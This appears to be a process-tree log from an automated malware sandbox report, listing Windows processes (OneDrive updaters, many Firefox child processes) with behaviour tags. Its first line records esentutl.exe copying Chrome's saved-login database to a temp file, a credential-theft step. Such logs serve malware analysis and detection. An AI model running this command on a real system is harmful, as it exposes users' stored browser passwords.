C:\Windows\system32\esentutl.exeesentutl.exe /y C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account /d C:\Users\Admin\AppData\Local\Temp\logins_chrome_1783349312963.db13⤵
-
-
-
-
-
C:\Windows\System32\Wbem\wmic.exewmic process where name='javaws.exe' get ProcessId /value10⤵
-
-
-
-
-
-
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"1⤵
- Modifies system executable filetype association
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart2⤵
- Executes dropped EXE
- Checks system information in the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe /update /restart /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions /enableODSUReportingMode3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies system executable filetype association
- Adds Run key to start application
- Checks system information in the registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe/updateInstalled /background4⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Modifies system executable filetype association
- Checks system information in the registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService1⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update /restart /updateSource:ODSU2⤵
- Executes dropped EXE
- Checks system information in the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /restart /updateSource:ODSU /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions /enableODSUReportingMode /installWebView2 /SetPerProcessSystemDPIForceOffKey /EnableNucleusAutoStartFix /RegisterOneDriveLauncherAutoStartTask /EnableOneDriveLauncherRampDownloads /EnableDeltaBuildToTelemetryFeatureSet /ArgPerformNucleusLocalAccessRepair /PerformEdgeNucleusRepair /PerformChromeNucleusRepair /NucleusLNARepairVersion:1 /DisableRedirectionForShortCuts3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies system executable filetype association
- Adds Run key to start application
- Checks system information in the registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.106.0603.0003\FileSyncConfig.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.106.0603.0003\FileSyncConfig.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe/updateInstalled /background4⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies system executable filetype association
- Checks system information in the registry
- Modifies Internet Explorer settings
- Modifies registry class
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart /updateSource:ODU /installcodec:8.0.0.545⤵
- Executes dropped EXE
- Checks system information in the registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe /update /restart /updateSource:ODU /installcodec:8.0.0.54 /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions /enableODSUReportingMode /installWebView2 /SetPerProcessSystemDPIForceOffKey /EnableNucleusAutoStartFix /RegisterOneDriveLauncherAutoStartTask /EnableOneDriveLauncherRampDownloads /EnableDeltaBuildToTelemetryFeatureSet /ArgPerformNucleusLocalAccessRepair /PerformEdgeNucleusRepair /PerformChromeNucleusRepair /NucleusLNARepairVersion:1 /DisableRedirectionForShortCuts6⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies system executable filetype association
- Adds Run key to start application
- Checks system information in the registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\FileSyncConfig.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\FileSyncConfig.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe/updateInstalled /background7⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies system executable filetype association
- Checks system information in the registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- System policy modification
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\OneDrive.Sync.Service.exe/silentConfig7⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Checks system information in the registry
- System policy modification
-
-
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.106.0603.0003\OneDrive.Sync.Service.exe/silentConfig4⤵
- Checks computer location settings
- Executes dropped EXE
- Checks system information in the registry
-
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system executable filetype association
- Checks system information in the registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.106.0603.0003\OneDriveLauncher.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.106.0603.0003\OneDriveLauncher.exe1⤵
- Executes dropped EXE
- Checks system information in the registry
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.106.0603.0003\FileCoAuth.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.106.0603.0003\FileCoAuth.exe" -Embedding1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\OneDriveLauncher.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\OneDriveLauncher.exe1⤵
- Executes dropped EXE
- Checks system information in the registry
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\FileCoAuth.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\26.113.0614.0004\FileCoAuth.exe" -Embedding1⤵
- Executes dropped EXE
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1956 -prefsLen 31071 -prefMapHandle 2052 -prefMapSize 270978 -ipcHandle 2136 -initialChannelId {367ac252-2356-425e-8e69-a70906c1fdf9} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2388 -prefsLen 31071 -prefMapHandle 2392 -prefMapSize 270978 -ipcHandle 2400 -initialChannelId {4b31187a-b4e1-43eb-a53b-a9481d06d515} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3704 -prefsLen 31630 -prefMapHandle 3708 -prefMapSize 270978 -jsInitHandle 3712 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3720 -initialChannelId {6e68900d-3703-48fa-9b43-c3ca5df1cf67} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3868 -prefsLen 31630 -prefMapHandle 3872 -prefMapSize 270978 -ipcHandle 3896 -initialChannelId {821ea402-9709-486d-ac25-6b3de65dcafe} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4484 -prefsLen 39289 -prefMapHandle 4488 -prefMapSize 270978 -jsInitHandle 4492 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4468 -initialChannelId {02778b20-232d-4022-83e1-c68c30f117a4} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5012 -prefsLen 39289 -prefMapHandle 5016 -prefMapSize 270978 -ipcHandle 5024 -initialChannelId {cf4f43a3-dd49-49fb-ad19-bd6f1cfff40c} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5300 -prefsLen 36222 -prefMapHandle 5296 -prefMapSize 270978 -jsInitHandle 5292 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5320 -initialChannelId {938ed8db-f2dd-4825-9d9a-3dc4d1862315} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5492 -prefsLen 36222 -prefMapHandle 5496 -prefMapSize 270978 -jsInitHandle 5500 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5464 -initialChannelId {44d2d896-d110-42e7-b344-600cbc8eff5c} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5348 -prefsLen 36222 -prefMapHandle 5300 -prefMapSize 270978 -jsInitHandle 5296 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5664 -initialChannelId {94717e83-94fc-48a4-b0e3-20ed9dc6c794} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4956 -prefsLen 36222 -prefMapHandle 4408 -prefMapSize 270978 -jsInitHandle 4900 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3040 -initialChannelId {4219a9a4-9ade-4a82-bb5b-57a0a4302d8c} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1912 -prefsLen 36222 -prefMapHandle 5792 -prefMapSize 270978 -jsInitHandle 5452 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5604 -initialChannelId {f7db32c4-820d-4eb7-9453-1bc0004f4e0c} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5880 -prefsLen 36222 -prefMapHandle 2988 -prefMapSize 270978 -jsInitHandle 5764 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4076 -initialChannelId {aa8ba47f-27ca-4aea-90df-969e780caea9} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2904 -prefsLen 36222 -prefMapHandle 2912 -prefMapSize 270978 -jsInitHandle 4064 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5940 -initialChannelId {7836db65-134c-4993-a8d1-ce0dde9887a5} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5716 -prefsLen 36222 -prefMapHandle 5704 -prefMapSize 270978 -jsInitHandle 5692 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4500 -initialChannelId {af17d0dd-6f98-414b-8ad3-1f800496371b} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6100 -prefsLen 36222 -prefMapHandle 6104 -prefMapSize 270978 -jsInitHandle 6108 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6116 -initialChannelId {5373276f-035c-48d8-84c6-07da9fed244b} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 15 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6296 -prefsLen 36222 -prefMapHandle 6300 -prefMapSize 270978 -jsInitHandle 6304 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6312 -initialChannelId {1c6fad0f-2a07-43c5-b01d-ea9b93326516} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 16 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6488 -prefsLen 36222 -prefMapHandle 6492 -prefMapSize 270978 -jsInitHandle 6496 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6504 -initialChannelId {734e0a56-1638-4798-bb31-d2d1d1eaa40f} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 17 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6688 -prefsLen 36222 -prefMapHandle 6692 -prefMapSize 270978 -jsInitHandle 6696 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6660 -initialChannelId {3ce5304a-6469-40b3-a0f0-dfbc3d1dae33} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 18 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6872 -prefsLen 36222 -prefMapHandle 6876 -prefMapSize 270978 -jsInitHandle 6880 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6888 -initialChannelId {b578716a-9bae-4220-add5-124fbc3c9d5b} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 19 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7052 -prefsLen 36222 -prefMapHandle 7056 -prefMapSize 270978 -jsInitHandle 7060 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7024 -initialChannelId {229ee799-a184-4c03-a418-30ab65365137} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 20 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7240 -prefsLen 36222 -prefMapHandle 7244 -prefMapSize 270978 -jsInitHandle 7248 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7256 -initialChannelId {68e4246c-0f0d-48d4-88f1-0a93f5b9f210} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 21 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4532 -prefsLen 36222 -prefMapHandle 4516 -prefMapSize 270978 -jsInitHandle 4520 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4584 -initialChannelId {e2a20d17-dd44-44a3-bc57-00a2e0d81397} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 22 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7544 -prefsLen 36222 -prefMapHandle 7548 -prefMapSize 270978 -jsInitHandle 7552 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7560 -initialChannelId {2da5c4d6-bd8e-4ea0-a6f2-27aee21ee5ec} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 23 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7736 -prefsLen 36222 -prefMapHandle 7740 -prefMapSize 270978 -jsInitHandle 7744 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7752 -initialChannelId {9a6ca7d1-3328-4d4c-a7a9-a3294a9e9aaf} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 24 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7936 -prefsLen 36222 -prefMapHandle 7940 -prefMapSize 270978 -jsInitHandle 7944 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7732 -initialChannelId {1c46eb96-b091-47d1-b6b0-a09fd18a803a} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 25 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8120 -prefsLen 36222 -prefMapHandle 8124 -prefMapSize 270978 -jsInitHandle 8128 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8136 -initialChannelId {c6a0eda5-0c2f-47a7-b5d2-71f4d848af1b} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 26 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8316 -prefsLen 36222 -prefMapHandle 8320 -prefMapSize 270978 -jsInitHandle 8324 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8332 -initialChannelId {2a1e58cc-9336-4c52-b6e0-85b12b3f2cd4} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 27 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8508 -prefsLen 36222 -prefMapHandle 8512 -prefMapSize 270978 -jsInitHandle 8516 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8524 -initialChannelId {541be2c4-7071-4181-aa49-20225cd6de73} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 28 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8708 -prefsLen 36222 -prefMapHandle 8712 -prefMapSize 270978 -jsInitHandle 8716 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8680 -initialChannelId {bc00ad2b-26e1-412e-acac-16ac2ccc9ba3} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 29 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8892 -prefsLen 36222 -prefMapHandle 8896 -prefMapSize 270978 -jsInitHandle 8900 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8908 -initialChannelId {a4c74e65-c3e3-4b0e-9a52-188bc4195aa6} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 30 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9100 -prefsLen 36222 -prefMapHandle 9104 -prefMapSize 270978 -jsInitHandle 9108 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 8888 -initialChannelId {2fabf626-be94-4371-8298-417c7df7e9dc} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 31 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9268 -prefsLen 36222 -prefMapHandle 9276 -prefMapSize 270978 -jsInitHandle 9280 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 9288 -initialChannelId {4501274d-a610-44fc-b6ff-6b3eb7729251} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 32 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9472 -prefsLen 36222 -prefMapHandle 9476 -prefMapSize 270978 -jsInitHandle 9480 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 9264 -initialChannelId {a3d29c5e-3d4d-4722-a0a8-c34eb06a09bd} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 33 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9656 -prefsLen 36222 -prefMapHandle 9660 -prefMapSize 270978 -jsInitHandle 9664 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 9672 -initialChannelId {bde3ea87-26ee-4552-8fbb-c7d160420348} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 34 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9856 -prefsLen 36222 -prefMapHandle 9860 -prefMapSize 270978 -jsInitHandle 9864 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 9828 -initialChannelId {cb837afe-ecbf-419d-ba9c-01e4668506bd} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 35 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10040 -prefsLen 36222 -prefMapHandle 10044 -prefMapSize 270978 -jsInitHandle 10048 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 10056 -initialChannelId {bc386890-fac9-42d1-a0c1-bbd819a2b54c} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 36 tab3⤵
- Checks processor information in registry
-
-
